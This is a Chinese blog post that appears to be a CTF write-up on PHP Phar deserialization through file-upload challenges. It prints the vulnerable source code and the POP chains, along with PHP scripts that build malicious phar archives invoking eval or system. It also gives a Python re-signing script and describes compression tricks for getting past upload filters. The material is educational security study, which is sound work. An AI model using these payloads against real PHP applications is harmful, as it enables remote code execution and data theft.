提示:文章yu写完后,目录可以自动生成,如何生成可参考右边的帮助文档
目录
提示:这里可以添加本文要记录的大概内容:
最近在刷题的时候,连续做到了两道文件上传+Phar的反序列化题目,对以前不太熟悉的Phar熟悉了一点,做个记录。
提示:以下是本篇文章正文内容,下面案例可供参考
官方文档的解析:phar扩展提供了一种将整个PHP应用程序放入一个名为“phar”(PHP Archive)的文件中的方法,以便于分发和安装。除了提供此服务之外,phar扩展还提供了一种文件格式抽象方法,用于通过PharData类创建和操作tar和zip文件,就像PDO为访问不同的数据库提供了统一的接口一样。与PDO不同,它不能在不同的数据库之间转换,Phar也可以用一行代码在tar、zip和Phar文件格式之间转换。Phar归档的最佳特点是将多个文件组合为一个文件的便捷方式。因此,phar归档提供了一种将完整的PHP应用程序分发到单个文件中并从该文件运行的方法,而无需将其解压缩到磁盘。此外,无论是在命令行上还是在web服务器上,PHP都可以像任何其他文件一样轻松地执行phar归档。Phar有点像PHP应用程序的拇指驱动器。
简单来说,phar可以将多个PHP打包成一个phar的文件,可以看作就是一个压缩文件。
一般phar由四个部分组成:1、存根,2、描述内容的清单,3、文件内容,4、完整性签名,
简单来说就是
1、Stub:即Phar文件的文件头,默认是,xxx可以是自定义的任何字符,不定义默认就为
2、a manifest describing the contents:phar包的各种属性信息,包括文件名、压缩文件的大小,序列化的文件、大小等等

3、file contents:即要添加的压缩的文件的名
4、Phar Signature format:即Phar文件的签名,确保文件的完整性,可以是20字节的SHA1,16字节的MD5,32字节的SHA256,64字节的512等

更多的关于Phar的函数等,参考:Phar - PHP中文版 - API参考文档
https://www.apiref.com/php-zh/book.phar.html
phar伪协议可以是PHP的一个解压缩包的函数,不管后缀,都会当做压缩包来解压,由于Phar内容清单中存储内容的形式是序列化的,当文件中有file_get_content(),file_exists()等函数的参数可控时候,使用phar://伪协议,会直接进行反序列化的操作将文件内容还原,即使不用unserialize()反序列化函数也能进行反序列化的操作,就有可能导致反序列化的漏洞。
具体分析参考:Phar与Stream Wrapper造成PHP RCE的深入挖掘 - 先知社区 (aliyun.com)
1、进入题目:

在查看文件处发现url中存在file参数,能够直接查看到index.php,class.php的源码,主要的源码如下:
file.php:
- header("content-type:text/html;charset=utf-8");
- include 'function.php';
- include 'class.php';
- ini_set('open_basedir','/var/www/html/'); #将可访问的目录限制在/var/www/html
- $file = $_GET["file"] ? $_GET['file'] : "";
- if(empty($file)) {
- echo "
There is no file to show!"
; - }
- $show = new Show(); #创建class的Show()类
- if(file_exists($file)) {
- $show->source = $file;
- $show->_show(); #调用Show类的_show()方法
- } else if (!empty($file)){
- die('file doesn\'t exists.');
- }
- ?>
Class.php:
- class C1e4r
- {
- public $test;
- public $str;
- public function __construct($name)
- {
- $this->str = $name;
- }
- public function __destruct()
- {
- $this->test = $this->str;
- echo $this->test;
- }
- }
-
- class Show
- {
- public $source;
- public $str;
- public function __construct($file)
- {
- $this->source = $file;
- echo $this->source;
- }
- public function __toString()
- {
- $content = $this->str['str']->source;
- return $content;
- }
- public function __set($key,$value)
- {
- $this->$key = $value;
- }
- public function _show()
- {
- if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
- die('hacker!');
- } else {
- highlight_file($this->source);
- }
-
- }
- public function __wakeup()
- {
- if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
- echo "hacker~";
- $this->source = "index.php";
- }
- }
- }
- class Test
- {
- public $file;
- public $params;
- public function __construct()
- {
- $this->params = array();
- }
- public function __get($key)
- {
- return $this->get($key);
- }
- public function get($key)
- {
- if(isset($this->params[$key])) {
- $value = $this->params[$key];
- } else {
- $value = "index.php";
- }
- return $this->file_get($value);
- }
- public function file_get($value)
- {
- $text = base64_encode(file_get_contents($value));
- return $text;
- }
- }
- ?>
Show类的_show()方法过滤了http、https等各种伪协议,但是没有过滤phar为协议,并且这里有一堆魔术函数,可以看看能否找到Phar伪协议的利用点,发现Test类的file_get()函数有通过file_get_contents直接获取到$value参数的内容。

get()方法可以调用file_get()函数,get()方法被魔术方法__get()所调用,__get()主要用途在外部调用PHP的私有属性时,属性为了解决私有属性无法访问时调用的,那么当Test类的属性被设为private或者没有时,会触发这个方法。

Show类中魔术方法__toString调用了一个$source属性,那么让str['str']为Test类即可触发__get方法,__toString方法的触发主要是当对象被当作字符串使用时。

__destruct()析构函数,在类结束时会自动调用,函数中对$str赋值给$test,让$str为Show类,就相当于被当作字符串对待,即可触发__toString方法。
Pop链 Test::file_get()->Test::__get()->Show::__toString()->C1e4r::__destruct()
upload_file.php:
- //show_source(__FILE__);
- include "base.php";
- header("Content-type: text/html;charset=utf-8");
- error_reporting(0);
- function upload_file_do() {
- global $_FILES;
- $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
- //mkdir("upload",0777);
- if(file_exists("upload/" . $filename)) {
- unlink($filename);
- }
- move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
- echo '';
- }
- function upload_file() {
- global $_FILES;
- if(upload_file_check()) {
- upload_file_do();
- }
- }
- function upload_file_check() {
- global $_FILES;
- $allowed_types = array("gif","jpeg","jpg","png");
- $temp = explode(".",$_FILES["file"]["name"]);
- $extension = end($temp);
- if(empty($extension)) {
- //echo "
请选择上传的文件:" . "";
- }
- else{
- if(in_array($extension,$allowed_types)) {
- return true;
- }
- else {
- echo '';
- return false;
- }
- }
- }
- ?>
对上传文件进行了gif、jpeg、jpg、png的后缀名检测,并且存储在upload中,上传的文件重命名为md5(文件名+IP地址).jpg的形式,因此可以通过Pop链生成phar归档文件,修改为gif或jpg等文件后缀,最后通过Phar://伪协议直接进行反序列化,使得C1e4r会获取到flag的内容,并echo出来。
- class C1e4r
- {
- public $test;
- public $str;
-
- }
-
- class Show
- {
- public $source;
- public $str;
- }
- class Test
- {
- public $file;
- public $params;
- }
-
- $m=new C1e4r();
- $m->str=new Show();
- $m->str->str['str']=new Test();
- $m->str->str['str']->params["source"]="/var/www/html/f1ag.php";
- @unlink('test.phar');
-
- $phar=new Phar('test.phar');
- $phar->startBuffering();
- $phar->setStub(''); #定义Phar的文件头
- $phar->setMetadata($m); #注入文件的内容数据
- $phar->addFromString("test.txt","test");#以字符串的形式添加文件进行归档
- $phar->stopBuffering();
-
- #Pop链 Test::file_get()->Test::__get()->Show::__toString()->C1e4r::__destruct()
- ?>

对echo出来的内容,进行base64解码,即得到flag,这里的md5重命名,好像怎么都不对,但是可以直接访问/upload/目录看到文件的名称。
进入题目:

同样在查询文件处能够直接得到各php文件的源码 ,源码缺省部分打开F12就能看到被注释掉了,如下:
index.php:
- class LoveNss{
- public $ljt;
- public $dky;
- public $cmd;
- public function __construct()
- {
- $this->ljt = "ljt";
- $this->dky = "dky";
- phpinfo();
- }
- public function __destruct()
- {
- if($this->ljt==="Misc"&&$this->dky==="Re")
- eval($this->cmd);
- }
- public function __wakeup()
- {
- $this->ljt="Re";
- $this->dky="Misc";
- }
- }
- $file=$_POST['file'];
- if(isset($_POST['file']))
- {
- if (preg_match("/flag/", $file))
- {
- die("nonono");
- }
- echo file_get_contents($file);
- }
又是file_get_contents()函数获取到$file的内容,并且$file可控,并且__destruct()中存在eval(),可能可以进行命令执行,条件是$ljt和$dky的值是Misc和Re。
upload.php:
- if ($_FILES["file"]["error"]-->0)
- {
- echo "上传异常";
- }
- else{
- $allowedExts = array("gif", "jpeg", "jpg", "png");
- $temp = explode(".", $_FILES["file"]["name"]);
- $extension = end($temp);
- if (($_FILES["file"]["size"] && in_array($extension, $allowedExts)))
- {
- $content=file_get_contents($_FILES["file"]["tmp_name"]);
- $pos = strpos($content, "__HALT_COMPILER();");
- if(gettype($pos)==="integer")
- {
- echo "ltj一眼就发现了phar";
- }
- else
- {
- if (file_exists("./upload/" . $_FILES["file"]["name"]))
- {
- echo $_FILES["file"]["name"] . " 文件已经存在";
- }
- else{ $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
- fwrite($myfile, $content); fclose($myfile);
- echo "上传成功 ./upload/".$_FILES["file"]["name"];
- }
- }
- }
- else{ echo "dky不喜欢这个文件 .".$extension; } } ?>
同样对上传的文件进行了gif、jpeg、jpg、png的后缀名检测, 并且在上传的文件内容中搜索__HALT_COMPILER();第一次出现的位置,搜索到即echo发现phar,否则如果文件不存在则上传成功。
虽然对 __HALT_COMPILER()进行了检测,但是完全可以对生成的phar文件进行zip加密,__HALT_COMPILER()应该会消失,绕过了文件上传的检测的同时phar依旧会对zip文件进行解压缩,然后file_get_contents()处可以利用phar伪协议触发反序列化,进行eval()的命令执行。
由于LoveNss类中存在__wakeup()魔术方法,当反序列化时会自动调用,导致__destruct方法无法进行eval,因此要绕过__wakeup方法,当序列化中的成员数大于实际成员数的时候,即可绕过。
- class LoveNss{
- public $ljt="Misc";
- public $dky="Re";
- public $cmd="system('ls /');";
- }
-
- $a = new LoveNss();
-
- $phar = new Phar("phar.phar");
- $phar->startBuffering();
- $phar->setStub(""); //设置stub
- $phar->setMetadata($a); //自定义的meta-data
- $phar->addFromString("test.txt", "test"); //添加要压缩的文件
- //签名自动计算,默认是SHA1
- $phar->stopBuffering();
生成phar文件,要绕过__wakeup方法,手动修改反序列化的数量。

这里修改了反序列的数量后,绕过了__wakeup()方法,但是修改之后,签名确保完整性就不对了,所以还要重新进行签名,默认是SHA-1算法,那么就用SHA-1算法吧。
- from hashlib import sha1
-
- file = open('phar.phar', 'rb').read()
-
- data = file[:-28]#要签名的部分是文件头到metadata的数据。
-
- final = file[-8:]
-
- newfile = data+sha1(data).digest()+final
-
- open('newpoc.phar', 'wb').write(newfile)
生成了phar文件后,进行压缩看看是否能使__HALT_COMPILER()消失。

确实不存在了,那么将zip文件修改了合适的后缀,上传应该就可以了吧,直接上传,使用phar://伪协议应该就可以了吧。

这不对劲,Phar伪协议确实执行了解压,但是eval()函数似乎没有执行的命令内容呢,不符合预期的解,再重新试了几遍,发现结果都一样。想了一想,签名生成应该不会有问题,Phar能够进行解压缩,说明重新签名应该也不会有问题,有没有可能是zip压缩的问题,换一种压缩试试,换成gzip。

继续进行同样的上传和phar://伪协议操作。

这里显示要用SHA256加密进行签名,返回去将SHA1修改为SHA256,再进行gzip后,再进行相同的操作。

通过gzip和SHA256签名得到flag,再想想,会不会本就要SHA256签名,发现进行SHA256签名后进行zip压缩 ,__HALT_COMPILER()不会消失,直接就上传不了,但是为什么ZIP加密不行依旧不懂,要是有师傅看到懂的,麻烦告诉一下。

一道直接上传文件,然后可以查看文件目录名的题目,当时比赛的时候一直认为是传马getshell,结果绕了大半天,都没绕过去,结果它是一道传phar的文件上传进行反序列化的题目。

关键是这个acti0n参数,当时压根没注意,一直认为无法触发反序列化,可以通过这个参数读取到源码,并且提示flag.php

upload.php源码:
- error_reporting(0);
- $dir = 'upload/'.md5($_SERVER['REMOTE_ADDR']).'/';
- if(!is_dir($dir)) {
- if(!mkdir($dir, 0777, true)) {
- echo error_get_last()['message'];
- die('Failed to make the directory');
- }
- }
- chdir($dir);
- if(isset($_POST['submit'])) {
- $name = $_FILES['file']['name'];
- $tmp_name = $_FILES['file']['tmp_name'];
- $ans = exif_imagetype($tmp_name);
- if($_FILES['file']['size'] >= 204800) {
- die('filesize too big.');
- }
- if(!$name) {
- die('filename can not be empty!');
- }
- if(preg_match('/(htaccess)|(user)|(\.\.)|(00)|(#)/i', $name) !== 0) {
- die('Hacker!');
- }
- if(($ans != IMAGETYPE_GIF) && ($ans != IMAGETYPE_JPEG) && ($ans != IMAGETYPE_PNG)) {
- $type = $_FILES['file']['type'];
- if($type == 'image/gif' or $type == 'image/jpg' or $type == 'image/png' or $type == 'image/jpeg') {
- echo "
Don't cheat me with Content-Type!
"; - }
- echo("
You can't upload this kind of file!
"); - exit;
- }
- $content = file_get_contents($tmp_name);
- if(preg_match('/(scandir)|(end)|(implode)|(eval)|(system)|(passthru)|(exec)|(chroot)|(chgrp)|(chown)|(shell_exec)|(proc_open)|(proc_get_status)|(ini_alter)|(ini_set)|(ini_restore)|(dl)|(pfsockopen)|(symlink)|(popen)|(putenv)|(syslog)|(readlink)|(stream_socket_server)|(error_log)/i', $content) !== 0) {
- echo('');
- exit;
- }
-
- $extension = substr($name, strrpos($name, ".") + 1);
- if(preg_match('/(png)|(jpg)|(jpeg)|(phar)|(gif)|(txt)|(md)|(exe)/i', $extension) === 0) {
- die("
You can't upload this kind of file!
"); - }
- $upload_file = $name;
- move_uploaded_file($tmp_name, $upload_file);
-
- if(file_exists($name)) {
- echo "
Your file $name has been uploaded.
"; - } else {
- echo '';
- }
- echo "";
- #header("refresh:3;url=index.php");
- }
通过exif_imagetype()函数检查传入文件的类型,如果检查的结果与传入的type不匹配则返回Don't cheat me,然后用正则匹配.htaccess和user,防止解析图片,传入文件的内容不能出现scandir()等函数,通过截取最后一个点的形式,取出后缀,只能上传png,jpg,重点是可以上传phar文件。
view.php源码:
- #include_once "flag.php";
- error_reporting(0);
- class View
- {
- public $dir;
- private $cmd;
-
- function __construct()
- {
- $this->dir = 'upload/'.md5($_SERVER['REMOTE_ADDR']).'/';
- $this->cmd = 'echo "Powered by: xxx";';
- if(!is_dir($this->dir)) {
- mkdir($this->dir, 0777, true);
- }
- }
-
- function get_file_list() {
- $file = scandir('.');
- return $file;
- }
-
- function show_file_list() {
- $file = $this->get_file_list();
- for ($i = 2; $i < sizeof($file); $i++) {
- echo "
["
.strval($i - 1)."] $file[$i] "; - }
- }
-
- function show_img($file_name) {
- $name = $file_name;
- $width = getimagesize($name)[0];
- $height = getimagesize($name)[1];
- $times = $width / 200;
- $width /= $times;
- $height /= $times;
- $template = "
$this->dir$name\" alt=\"$file_name\" width = \"$width\" height = \"$height\">"; - echo $template;
- }
-
- function delete_img($file_name) {
- $name = $file_name;
- if (file_exists($name)) {
- @unlink($name);
- if(!file_exists($name)) {
- echo "
成功删除! 3s后跳转
"; - header("refresh:3;url=view.php");
- } else {
- echo "Can not delete!";
- exit;
- }
- } else {
- echo "
找不到这个文件!
"; - }
- }
-
- function __destruct() {
- eval($this->cmd);
- }
- }
-
- $ins = new View();
- chdir($ins->dir);
- echo "
当前目录为 "
. $ins->dir . ""; - $ins->show_file_list();
- if (isset($_POST['show'])) {
- $file_name = $_POST['show'];
- $ins->show_img($file_name);
- }
- if (isset($_POST['delete'])) {
- $file_name = $_POST['delete'];
- $ins->delete_img($file_name);
- }
- unset($ins);
- ?>
创建了View类,通过接受show参数和delete参数进行展示和删除,可以看到delete_img()中通过file_exists()判断文件名是否存在,而file_exists()是可以读取phar文件触发反序列化的,再来看销毁函数__destruct()可以进行eval(),因此可以进行RCE,同时upload中没有过滤show_source,highlight_file等显示文件的函数,可以使用。
- error_reporting(0);
- class View
- {
- public $dir;
- private $cmd='highlight_file("flag.php");';
-
- }
- $c=new View();
- $phar = new Phar("aiwin.phar"); //后缀名必须为phar
- $phar->startBuffering();
- $phar->setStub('GIF89a'.' php __HALT_COMPILER(); ?>'); //设置stub
- $phar->setMetadata($c); //将自定义的meta-data存入manifest
- $phar->addFromString("test.txt", "test"); //添加要压缩的文件
- //签名自动计算
- $phar->stopBuffering();
-
-

直接从文件查看器可以查看到源码:
upload.php:
aa的文件上传器 -
请选择要上传的文件:
- class="input_file" type="file" name="upload_file"/>
- <input class="button" type="submit" name="submit" value="上传"/>
- form>
- body>
- html>
- php
- if(isset($_POST['submit'])){
- $upload_path="upload/".md5(time()).".txt";
- $temp_file = $_FILES['upload_file']['tmp_name'];
- if (move_uploaded_file($temp_file, $upload_path)) {
- echo "文件路径:".$upload_path;
- } else {
- $msg = '上传失败';
- }
- }
read.php:
- "en">
- "UTF-8">
- "viewport" content="width=device-width, initial-scale=1.0">
- "X-UA-Compatible" content="ie=edge">
-
aa的文件查看器 -
- .search_form{
- width:602px;
- height:42px;
- }
-
- /*左边输入框设置样式*/
- .input_text{
- width:400px;
- height: 40px;
- border:1px solid green;
- /*清除掉默认的padding*/
- padding:0px;
- /*提示字首行缩进*/
- text-indent: 10px;
-
- /*去掉蓝色高亮框*/
- outline: none;
-
- /*用浮动解决内联元素错位及小间距的问题*/
- float:left;
- }
-
- .input_sub{
- width:100px;
- height: 42px;
- background: green;
- text-align:center;
- /*去掉submit按钮默认边框*/
- border:0px;
- /*改成右浮动也是可以的*/
- float:left;
- color:white;/*搜索的字体颜色为白色*/
- cursor:pointer;/*鼠标变为小手*/
- }
-
- .file_content{
- width:500px;
- height: 242px;
- }
-
- include('class.php');
- $a=new aa();
- ?>
aa的文件查看器
- <input type="text" class="input_text" placeholder="请输入搜索内容" name="file">
- <input type="submit" value="查看" class="input_sub">
- form>
- body>
- html>
- php
- error_reporting(0);
- $filename=$_POST['file'];
- if(!isset($filename)){
- die();
- }
- $file=new zz($filename);
- $contents=$file->getFile();
- ?>
class.php:
- class aa{
- public $name;
-
- public function __construct(){
- $this->name='aa';
- }
-
- public function __destruct(){
- $this->name=strtolower($this->name);
- }
- }
-
- class ff{
- private $content;
- public $func;
-
- public function __construct(){
- $this->content="\";
- }
-
- public function __get($key){
- $this->$key->{$this->func}($_POST['cmd']);
- }
- }
-
- class zz{
- public $filename;
- public $content='surprise';
-
- public function __construct($filename){
- $this->filename=$filename;
- }
-
- public function filter(){
- if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
- die('这不合理');
- }
- }
-
- public function write($var){
- $filename=$this->filename;
- $lt=$this->filename->$var;
- //此功能废弃,不想写了
- }
-
- public function getFile(){
- $this->filter();
- $contents=file_get_contents($this->filename);
- if(!empty($contents)){
- return $contents;
- }else{
- die("404 not found");
- }
- }
-
- public function __toString(){
- $this->{$_POST['method']}($_POST['var']);
- return $this->content;
- }
- }
-
- class xx{
- public $name;
- public $arg;
-
- public function __construct(){
- $this->name='eval';
- $this->arg='phpinfo();';
- }
-
- public function __call($name,$arg){
- $name($arg[0]);
- }
- }
可以看到传入的任何文件都变成了txt,而文件查看器调用了zz类中的file_get_contents()函数读取文件,这个函数是可以通过phar协议解析文件触发反序列化的,因此也是一道phar反序列化的题目。
既然是反序列化,那么就需要寻找入口点,ff类的__get魔术方法好像可以构造命令执行,刚好ff类有私有的 content参数用于触发__get方法,那么整条Pop链就是:
aa::destruct()->zz::toString()->zz::write->xx->ff::__get()
主要是要通过write触发__get方法。
- class aa{
- public $name;
- function __construct(){
- $this->name=new zz();
- }
- }
-
- class ff{
- private $content;
- public $func='system';
- function __construct(){
- $this->content=new xx();
- }
- }
-
- class zz{
- public $filename;
- public $content;
- function __construct(){
- $this->filename=new ff();
- }
-
-
- }
- class xx{
- public $name;
- public $arg;
- }
- $a=new aa();
-
- $phar = new Phar("aiwin1.phar");
- $phar->startBuffering();
- $phar->setStub(""); //设置stub
-
- $phar->setMetadata($a); //将自定义的meta-data存入manifest
- $phar->addFromString("test.txt", "test"); //添加要压缩的文件
- //签名自动计算
- $phar->stopBuffering();

1.注册用户登录后可以看到文件上传和文件删除功能,在文件上传处可以读取到源码,主要源码如下:
download.php:
- session_start();
- if (!isset($_SESSION['login'])) {
- header("Location: login.php");
- die();
- }
-
- if (!isset($_POST['filename'])) {
- die();
- }
-
- include "class.php";
- ini_set("open_basedir", getcwd() . ":/etc:/tmp");
-
- chdir($_SESSION['sandbox']);
- $file = new File();
- $filename = (string) $_POST['filename'];
- if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
- Header("Content-type: application/octet-stream");
- Header("Content-Disposition: attachment; filename=" . basename($filename));
- echo $file->close();
- } else {
- echo "File not exist";
- }
- ?>
delete.php:
- session_start();
- if (!isset($_SESSION['login'])) {
- header("Location: login.php");
- die();
- }
-
- if (!isset($_POST['filename'])) {
- die();
- }
-
- include "class.php";
-
- chdir($_SESSION['sandbox']);
- $file = new File();
- $filename = (string) $_POST['filename'];
- if (strlen($filename) < 40 && $file->open($filename)) {
- $file->detele();
- Header("Content-type: application/json");
- $response = array("success" => true, "error" => "");
- echo json_encode($response);
- } else {
- Header("Content-type: application/json");
- $response = array("success" => false, "error" => "File not exist");
- echo json_encode($response);
- }
- ?>
upload.php:
- session_start();
- if (!isset($_SESSION['login'])) {
- header("Location: login.php");
- die();
- }
-
- include "class.php";
-
- if (isset($_FILES["file"])) {
- $filename = $_FILES["file"]["name"];
- $pos = strrpos($filename, ".");
- if ($pos !== false) {
- $filename = substr($filename, 0, $pos);
- }
-
- $fileext = ".gif";
- switch ($_FILES["file"]["type"]) {
- case 'image/gif':
- $fileext = ".gif";
- break;
- case 'image/jpeg':
- $fileext = ".jpg";
- break;
- case 'image/png':
- $fileext = ".png";
- break;
- default:
- $response = array("success" => false, "error" => "Only gif/jpg/png allowed");
- Header("Content-type: application/json");
- echo json_encode($response);
- die();
- }
-
- if (strlen($filename) < 40 && strlen($filename) !== 0) {
- $dst = $_SESSION['sandbox'] . $filename . $fileext;
- move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
- $response = array("success" => true, "error" => "");
- Header("Content-type: application/json");
- echo json_encode($response);
- } else {
- $response = array("success" => false, "error" => "Invaild filename");
- Header("Content-type: application/json");
- echo json_encode($response);
- }
- }
- ?>
class.php:
- error_reporting(0);
- $dbaddr = "127.0.0.1";
- $dbuser = "root";
- $dbpass = "root";
- $dbname = "dropbox";
- $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
-
- class User {
- public $db;
-
- public function __construct() {
- global $db;
- $this->db = $db;
- }
-
- public function user_exist($username) {
- $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
- $stmt->bind_param("s", $username);
- $stmt->execute();
- $stmt->store_result();
- $count = $stmt->num_rows;
- if ($count === 0) {
- return false;
- }
- return true;
- }
-
- public function add_user($username, $password) {
- if ($this->user_exist($username)) {
- return false;
- }
- $password = sha1($password . "SiAchGHmFx");
- $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
- $stmt->bind_param("ss", $username, $password);
- $stmt->execute();
- return true;
- }
-
- public function verify_user($username, $password) {
- if (!$this->user_exist($username)) {
- return false;
- }
- $password = sha1($password . "SiAchGHmFx");
- $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
- $stmt->bind_param("s", $username);
- $stmt->execute();
- $stmt->bind_result($expect);
- $stmt->fetch();
- if (isset($expect) && $expect === $password) {
- return true;
- }
- return false;
- }
-
- public function __destruct() {
- $this->db->close();
- }
- }
-
- class FileList {
- private $files;
- private $results;
- private $funcs;
-
- public function __construct($path) {
- $this->files = array();#
- $this->results = array();#存放文件的名字
- $this->funcs = array();
- $filenames = scandir($path);
-
- $key = array_search(".", $filenames);
- unset($filenames[$key]);
- $key = array_search("..", $filenames);
- unset($filenames[$key]);
-
- foreach ($filenames as $filename) {
- $file = new File();
- $file->open($path . $filename);
- array_push($this->files, $file);
- $this->results[$file->name()] = array();
- }
- }
-
- public function __call($func, $args) {
- array_push($this->funcs, $func);
- foreach ($this->files as $file) {
- $this->results[$file->name()][$func] = $file->$func();#this->results[name][]
- }
- }
-
- public function __destruct() {
- $table = '
';- $table .= '
';- foreach ($this->funcs as $func) {
- $table .= '
' . htmlentities($func) . ' '; - }
- $table .= '
Opt '; - $table .= '
';- foreach ($this->results as $filename => $result) {
- }
- echo $table;
- }
- }
-
- class File {
- public $filename;
-
- public function open($filename) {
- $this->filename = $filename;
- if (file_exists($filename) && !is_dir($filename)) {
- return true;
- } else {
- return false;
- }
- }
-
- public function name() {
- return basename($this->filename);
- }
-
- public function size() {
- $size = filesize($this->filename);
- $units = array(' B', ' KB', ' MB', ' GB', ' TB');
- for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
- return round($size, 2).$units[$i];
- }
-
- public function detele() {
- unlink($this->filename);
- }
-
- public function close() {
- return file_get_contents($this->filename);
- }
- }
- ?>
仔细看一下源码,在上传处仅允许上传后缀为jpg、png、gif的图片,然后又不存在文件包含函数,可以往phar反序列化方向去想,寻找能触发phar反序列化的函数。首先可以分析下open()函数中的file_exists()方法,download.php中调用了open()方法行不行呢?

可以看到这里通过ini_set("open_basedir", getcwd() . ":/etc:/tmp");限制了此文件的访问路径,没有办法读取根目录的文件,所以目标转向delete.php,这个文件没有限制。

在delete()方法中可以看到unlink()方法,也可以触发phar反序列化,那么剩下的关键就是需要一条链,能够进行反序列化读取flag。


可以发现在User类的本是用于关闭数据库的方法,可以用于调用File类的close()方法,这样就可以获取flag的数据,至于如何进行回显,可以看FileList()类中的__call()和__destruct()方法。

当把db赋值为FileList()类时,由于close()方法就会触发__call,而call方法中创建了一个二维数组,将close()方法赋值到了results数组中,数组的键为一个File类的name()方法的值,最后在destruct销毁函数中,遍历了results数组,将value的数值即结果输出了,因此整条Pop链就为User::__destruct()->FileList::__call()->File::close()->FileList::__destruct()
exp如下:
- class User{
- public $db;
- public function __construct() {
- $this->db = new FileList();
- }
- }
-
- class FileList{
- private $files;
- public function __construct() {
- $file=new File();
- $file->filename='/flag.txt';
- $this->files=array($file);
- }
- }
-
- class File{
- public $filename;
- }
- $User = new User();
- $phar = new Phar("exp.phar"); //生成phar文件
- $phar->startBuffering();
- $phar->setStub('GIF89a'.' php __HALT_COMPILER(); ? >');
- $phar->setMetadata($User); //触发类
- $phar->addFromString("text.txt", "test"); //签名
- $phar->stopBuffering();
- ?>
将得到的phar文件改为jpg上传,然后在delete.php中触发即可。

总结
文件上传遇到反序列化后,能摩擦出RCE等火花,以后有遇到类似的题目,继续进行补充记录。
-
相关阅读:
【APUE】文件系统 — 类 du 命令功能实现
浅析 C# 控制台的 Ctrl+C 是怎么玩的
TypeScript的安装与简单使用(第一篇)
【面试宝典】39道C++内存管理高频题库整理(附答案背诵版)
模式识别与机器学习复习 | 第4讲
2015架构真题(五十)
蓝桥杯每日一题——棋盘
Java this 关键字
Python网络爬虫简介与环境配置
安卓温升thermal介绍
-
原文地址:https://blog.csdn.net/weixin_53090346/article/details/127676088